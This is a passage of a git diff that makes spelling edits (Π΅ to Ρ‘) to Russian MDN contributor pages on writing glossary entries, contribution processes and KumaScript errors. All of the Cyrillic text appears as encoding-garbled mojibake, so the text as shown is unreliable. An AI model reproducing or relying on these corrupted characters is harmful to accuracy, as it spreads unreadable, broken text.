<h3 id="Π¨Π°Π³_1_Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅_Ρ‚Π΅Ρ€ΠΌΠΈΠ½_ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ_Ρ…ΠΎΡ‚ΠΈΡ‚Π΅_Π΄Π°Ρ‚ΡŒ_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅">Π¨Π°Π³ 1: Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅</h3>
-<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ. Если Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΈΠ΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² опрСдСлСниях, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ наш список ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ</a>. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° Ρ‚Π΅Ρ€ΠΌΠΈΠ½ ΠΈ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ. Если Π²Ρ‹ ΡƒΠΆΠ΅ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² систСмС, Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚Π΅ Π² Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ MDN.</p>
+<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ. Если Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΈΠ΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² опрСдСлСниях, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ наш список ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ</a>. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° Ρ‚Π΅Ρ€ΠΌΠΈΠ½ ΠΈ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ. Если Π²Ρ‹ ΡƒΠΆΠ΅ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² систСмС, Ρ‚ΠΎ Π²Ρ‹ ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚Π΅ Π² Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ MDN.</p>
<h3 id="Π¨Π°Π³_2_Π”Π°ΠΉΡ‚Π΅_ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅">Π¨Π°Π³ 2: Π”Π°ΠΉΡ‚Π΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅</h3>
@@ -45,7 +45,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
<h4 id="Как_ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ_Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ_запись_глоссария">Как ΡΠΎΠ·Π΄Π°Ρ‚ΡŒΒ <em>Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ</em> запись глоссария</h4>
-<p>Если это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π°Π±Π·Π°Ρ†Π΅Π², Π½ΠΎ Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны – Ρ‚Π°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΈ ΡƒΠ²Π»Π΅Ρ‡ΡŒΡΡ, ΠΈ Π²ΠΎΡ‚ Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ.Β ΠΠ°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ – это прСкрасно, Π½ΠΎ, поТалуйста, Π½Π΅ ΠΏΠΎΠΌΠ΅Ρ‰Π°ΠΉΡ‚Π΅ Π΅Π΅ Π² глоссарий. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Π³Π΄Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ свою ΡΡ‚Π°Ρ‚ΡŒΡŽ, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">ΠΎΠ±ΡΡƒΠ΄ΠΈΡ‚ΡŒ</a> это.</p>
+<p>Если это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π°Π±Π·Π°Ρ†Π΅Π², Π½ΠΎ Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны – Ρ‚Π°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΈ ΡƒΠ²Π»Π΅Ρ‡ΡŒΡΡ, ΠΈ Π²ΠΎΡ‚ Π²Ρ‹ ΡƒΠΆΠ΅ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ.Β ΠΠ°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ – это прСкрасно, Π½ΠΎ, поТалуйста, Π½Π΅ ΠΏΠΎΠΌΠ΅Ρ‰Π°ΠΉΡ‚Π΅ Π΅Ρ‘ Π² глоссарий. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Π³Π΄Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ свою ΡΡ‚Π°Ρ‚ΡŒΡŽ, Π½Π΅ ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/MDN/Community#Join_our_mailing_lists">ΠΎΠ±ΡΡƒΠ΄ΠΈΡ‚ΡŒ</a> это.</p>
<p>Π’ΠΎΡ‚ нСсколько простых Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ стоит ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΡ€ΠΈ написании записСй Π² глоссарий:</p>
@@ -69,7 +69,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
<p>Π—Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ запись Π² глоссарии всСгда Π΄ΠΎΠ»ΠΆΠ½Π°Β Ρ€Π°Π·Π΄Π΅Π»ΠΎΠΌ "Π£Π·Π½Π°Ρ‚ΡŒ большС". Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ссылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅Β ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ вопрос: ΡƒΠ·Π½Π°Ρ‚ΡŒ большС Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ, Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
-<p><span id="result_box" lang="ru"><span class="hps">ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ </span><span class="hps">ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">ссылки</span> <span class="hps">ΠΏΠΎΒ Ρ‚Ρ€Π΅ΠΌ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ</span><span>:</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">ΠœΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ </span><span class="hps">ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ</span> <span class="hps">ссылки</span> <span class="hps">ΠΏΠΎΒ Ρ‚Ρ€Ρ‘ΠΌ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ</span><span>:</span></span></p>
<p><em><strong>ΠžΠ±Ρ‰ΠΈΠ΅ знания</strong></em><br>
Бсылки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ±Ρ‰Π΅Π³ΠΎ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ссылка Π½Π°<a href="http://wikipedia.org/"> Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΡŽ </a>– это Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ отправная Ρ‚ΠΎΡ‡ΠΊΠ°.</p>
@@ -78,14 +78,14 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
Бсылки Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π° MDNΒ ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС.</p>
<p><em><strong>Π£Π·Π½Π°Ρ‚ΡŒ большС</strong></em><br>
- Бсылки Π½Π° ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ пособия, упраТнСния, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŽ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ, ΡΡ‚ΠΎΡΡ‰ΡƒΡŽ Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠΌ.</p>
+ Бсылки Π½Π° ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ пособия, упраТнСния, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŽ Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽ, ΡΡ‚ΠΎΡΡ‰ΡƒΡŽ Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠΌ.</p>
<h2 id="Π§Ρ‚ΠΎ_Π΄Π΅Π»Π°Ρ‚ΡŒ_Ссли_Ρƒ_Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°_нСсколько_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ">Π§Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ, Ссли Ρƒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π° нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</h2>
<p>Иногда ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ значСния в зависимости ΠΎΡ‚ контСкста. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒΒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… Ρ€Π°Π·Π½ΠΎΡ‡Ρ‚Π΅Π½ΠΈΠΉ ΠΈ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹, слСдуйтС этим рСкомСндациям:</p>
<ul>
- <li>На основной страницС записи, посвящСнной Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρƒ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ пСрСчислСны всС Π΅Π³ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния. Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ макроса {{TemplateLink("GlossaryDisambiguation")}}.</li>
+ <li>На основной страницС записи, посвящённой Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρƒ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ пСрСчислСны всС Π΅Π³ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния. Π­Ρ‚ΠΎ дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ макроса {{TemplateLink("GlossaryDisambiguation")}}.</li>
<li>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ значСния Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ создана ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°Ρ подстраница.</li>
</ul>
diff --git a/files/ru/mdn/contribute/processes/index.html b/files/ru/mdn/contribute/processes/index.html
index d0d186e509..bf3ab2ab18 100644
--- a/files/ru/mdn/contribute/processes/index.html
+++ b/files/ru/mdn/contribute/processes/index.html
@@ -10,6 +10,6 @@ original_slug: MDN/Contribute/ΠŸΡ€ΠΎΡ†Π΅ΡΡΡ‹
---
<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
-<p>ΠŸΡ€ΠΎΠ΅ΠΊΡ‚Π½Π°Ρ докумСнтация ΠœΠ”Π Π½Π΅ΠΎΠ±ΡŠΡΡ‚Π½Π°; сущСствуСт ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сотСн участников со всСго ΠΌΠΈΡ€Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π½Π°ΠΌ навСсти порядок Π² этом хаосС, ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ стандартныС процСссы ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΎΠ½Π½ΠΎ-связанными Π·Π°Π΄Π°Ρ‡Π°ΠΌΠΈ. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ руководства ΠΊ этим процСссам.</p>
+<p>ΠŸΡ€ΠΎΠ΅ΠΊΡ‚Π½Π°Ρ докумСнтация ΠœΠ”Π Π½Π΅ΠΎΠ±ΡŠΡΡ‚Π½Π°; сущСствуСт ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌΡ‹Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сотСн участников со всСго ΠΌΠΈΡ€Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π½Π°ΠΌ навСсти порядок Π² этом хаосС, ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ стандартныС процСссы ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΎΠ½Π½ΠΎ-связанными Π·Π°Π΄Π°Ρ‡Π°ΠΌΠΈ. Π—Π΄Π΅ΡΡŒ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ руководства ΠΊ этим процСссам.</p>
<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/ru/mdn/tools/kumascript/troubleshooting/index.html b/files/ru/mdn/tools/kumascript/troubleshooting/index.html
index a540adf81a..27767d3872 100644
--- a/files/ru/mdn/tools/kumascript/troubleshooting/index.html
+++ b/files/ru/mdn/tools/kumascript/troubleshooting/index.html
@@ -14,11 +14,11 @@ original_slug: MDN/Kuma/Troubleshooting_KumaScript_errors
---
<div>{{MDNSidebar}}</div>
-<p>Ошибки <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript</a>, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π° страницС, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ для Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΈΠ·-Π·Π° Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΡΡ‚Ρ€Π°ΡˆΠ½Ρ‹Ρ… красных ящиков, Π½ΠΎ, ΠΊ ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, любой Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ с ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записью MDN ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ. ΠŸΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ошибки страница добавляСтся Π² список <a href="/ru/docs/with-errors">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² с ошибками</a>. Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ сайта рСгулярно ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ этот список, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ ΠΈΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ошибки. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ‚ΠΈΠΏΠ° ошибок KumaScript ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ шаги, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ для ΠΈΡ… исправлСния.</p>
+<p>Ошибки <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript">KumaScript</a>, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π½Π° страницС, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ для Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΈΠ·-Π·Π° Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΡΡ‚Ρ€Π°ΡˆΠ½Ρ‹Ρ… красных ящиков, Π½ΠΎ, ΠΊ ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, любой Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ с ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записью MDN ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ. ΠŸΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ошибки страница добавляСтся Π² список <a href="/ru/docs/with-errors">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² с ошибками</a>. Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ сайта рСгулярно ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ этот список, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ ΠΈΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ ошибки. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ‚ΠΈΠΏΠ° ошибок KumaScript ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ шаги, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ для ΠΈΡ… исправлСния.</p>
<h2 id="DocumentParsingError">DocumentParsingError</h2>
-<p><code>DocumentParsingError</code> ошибки ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Ρƒ KumaScript Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ Π² самом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. НаиболСС распространСнной ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ являСтся синтаксичСская ошибка Π² <a href="/ru/docs/MDN/Contribute/Structures/Macros">макросС</a>.</p>
